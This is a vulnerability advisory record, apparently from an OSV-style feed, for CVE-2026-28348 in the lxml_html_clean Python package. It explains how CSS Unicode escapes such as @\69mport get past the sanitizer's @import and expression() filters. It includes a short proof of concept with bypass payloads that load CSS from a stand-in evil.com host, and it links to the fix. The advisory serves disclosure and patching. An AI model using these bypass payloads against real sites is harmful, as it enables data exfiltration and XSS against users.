{"id":"CVE-2026-28348","aliases":["GHSA-hw26-mmpg-fqfg","PYSEC-2026-2201"],"url":"https://o3.security/vulnerability/CVE-2026-28348","summary":"lxml_html_clean: CSS @import Filter Bypass via Unicode Escapes","details":"### Summary\nThe `_has_sneaky_javascript()` method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the `@import` and `expression()` filters, allowing external CSS loading or XSS in older browsers.\n\n### Details\nThe root cause is located in `clean.py` (around line 594):\n```python\nstyle = style.replace('\\\\', '')\n```\nThis transformation changes a payload like `@\\69mport` into `@69mport`. This resulting string does NOT match the blacklist keyword `@import`. However, all modern browsers' CSS parsers decode `\\69` as the character 'i' (hex 69) according to CSS spec section 4.3.7, interpreting `@\\69mport` as a valid `@import` statement.\n\nSame root cause bypasses `expression()` detection: `\\65xpression(alert(1))` passes through (IE only).\n\n### PoC\n```python\nfrom lxml_html_clean import clean_html\n\n# Normal @import is correctly blocked:\n# clean_html('<style>@import url(\"http://evil.com/x.css\");</style>')\n# Output: <div><style> url(\"http://evil.com/x.css\");</style></div>\n\n# Unicode escape bypass:\nresult = clean_html('<style>@\\\\69mport url(\"http://evil.com/x.css\");</style>')\nprint(result)\n# Output: <div><style>@\\69mport url(\"http://evil.com/x.css\");</style></div>\n```\nIf rendered in a browser, the browser loads the external CSS. Variants like `@\\0069mport`, `@\\69 mport` (trailing space), and `@\\49mport` (uppercase I) also work.\n\n### Impact\nExternal CSS loading enables data exfiltration via attribute selectors (e.g., reading CSRF tokens), UI redressing, and phishing. In older browsers (IE), this allows for full XSS via `expression()`.","published":"2026-03-05T19:49:26.385Z","modified":"2026-10-28T02:31:10.936193093Z","cvss":{"score":6.1,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"},"epss":{"score":0.00228,"percentile":0.13353,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"lxml-html-clean","fixedVersion":"0.4.4"}],"fix":{"url":"https://github.com/fedora-python/lxml_html_clean/commit/2ef732667ddbc74ea59847bcf24b75809aaeed3b","label":"fedora-python/lxml_html_clean@2ef7326"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/28xxx/CVE-2026-28348.json"},{"type":"ADVISORY","url":"https://github.com/fedora-python/lxml_html_clean/security/advisories/GHSA-hw26-mmpg-fqfg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28348"},{"type":"FIX","url":"https://github.com/fedora-python/lxml_html_clean/commit/2ef732667ddbc74ea59847bcf24b75809aaeed3b"},{"type":"PACKAGE","url":"https://github.com/fedora-python/lxml_html_clean"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:31:10.936193093Z"}}